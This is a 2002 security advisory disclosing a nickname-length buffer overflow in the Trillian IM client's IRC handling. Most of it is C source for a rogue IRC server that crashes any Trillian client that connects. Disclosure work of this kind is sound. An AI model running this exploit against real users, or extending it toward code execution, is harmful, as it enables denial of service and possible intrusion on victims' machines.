Discovered: ----------- 02 September 2002 By Me, Lance Fitz-Herbert (aka phrizer). Vulnerable Applications: ------------------------ Tested On Trillian .74 and .74, But im guessing older versions are also vulnerable. Impact: ------- Low-High. This could possibly allow arbitary code to be executed on the remote victims machine, or used as a DoS. Details: -------- Trillian is a popular Instant Messageing client, which supports icq/aim/yahoo/msn and IRC. An overflow exists in the way Trillian procceses 'PRIVMSG' commands from the irc server. If the nickname of the sender is larger than 206 bytes, trillian will crash and overwrite registers. To exploit this, the victim needs to be connected to the Attackers 'IRC Server' Solution: --------- Dont go on untrusted IRC Servers. Exploit: -------- DoS code to prove flaw: /* Trillian-Privmsg.c Author: Lance Fitz-Herbert Contact: IRC: Phrizer, DALnet - #KORP ICQ: 23549284 Exploits the Trillian Privmsg Flaw. Tested On Version .74 and .73 Compiles with Borland 5.5 Commandline Tools. This Example Will Just DoS The Trillian Client, not particularly useful, just proves the flaw exists. */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <winsock.h> SOCKET s; #define MSG1 ":server 001 target :target\n:" #define MSG2 "!ident@address PRIVMSG target :You are the weakest link, Goodbye.\n" int main() { SOCKET TempSock = SOCKET_ERROR; WSADATA WsaDat; SOCKADDR_IN Sockaddr; int nRet; char payload[300]; printf("\nTrillian Privmsg Flaw\n"); printf("----------------------\n"); printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n"); printf("Tested On Version .74 and .73\nListening On Port 6667 For Connections\n\n"); if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) { printf("ERROR: WSA Initialization failed."); return 0; } /* Create Socket */ s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { printf("ERROR: Could Not Create Socket. Exiting\n"); WSACleanup(); return 0; } Sockaddr.sin_port = htons(6667); Sockaddr.sin_family = AF_INET; Sockaddr.sin_addr.s_addr = INADDR_ANY; nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr)); if (nRet == SOCKET_ERROR) { printf("ERROR Binding Socket"); WSACleanup(); return 0; } /* Make Socket Listen */ if (listen(s, 10) == SOCKET_ERROR) { printf("ERROR: Couldnt Make Listening Socket\n"); WSACleanup(); return 0; } while (TempSock == SOCKET_ERROR) { TempSock = accept(s, NULL, NULL); } printf("Client Connected, Sending Payload\n"); send(TempSock,MSG1,strlen(MSG1),0); memset(payload,'A',300); send(TempSock,payload,strlen(payload),0); send(TempSock,MSG2,strlen(MSG2),0); printf("Exiting\n"); sleep(100); WSACleanup(); return 0; } --end code-- ---- NOTE: Because of the amount of spam i receive, i require all emails directed *to me* to contain the word "nospam" in the subject line somewhere. Else i might not get your email. thankyou. ---- _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com